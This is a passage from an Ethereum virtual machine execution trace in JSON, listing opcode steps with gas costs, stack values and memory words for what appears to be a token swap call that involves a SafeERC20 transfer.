0000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15191,"op":"NOT","gas":79161,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15192,"op":"DUP3","gas":79158,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15193,"op":"GT","gas":79155,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15194,"op":"ISZERO","gas":79152,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15195,"op":"PUSH2","gas":79149,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15198,"op":"JUMPI","gas":79146,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0","0x1","0x3b66"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15206,"op":"JUMPDEST","gas":79136,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15207,"op":"POP","gas":79135,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15208,"op":"ADD","gas":79133,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15209,"op":"SWAP1","gas":79130,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15210,"op":"JUMP","gas":79127,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1","0x2ec8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11976,"op":"JUMPDEST","gas":79119,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11977,"op":"DUP2","gas":79118,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11978,"op":"MLOAD","gas":79115,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1c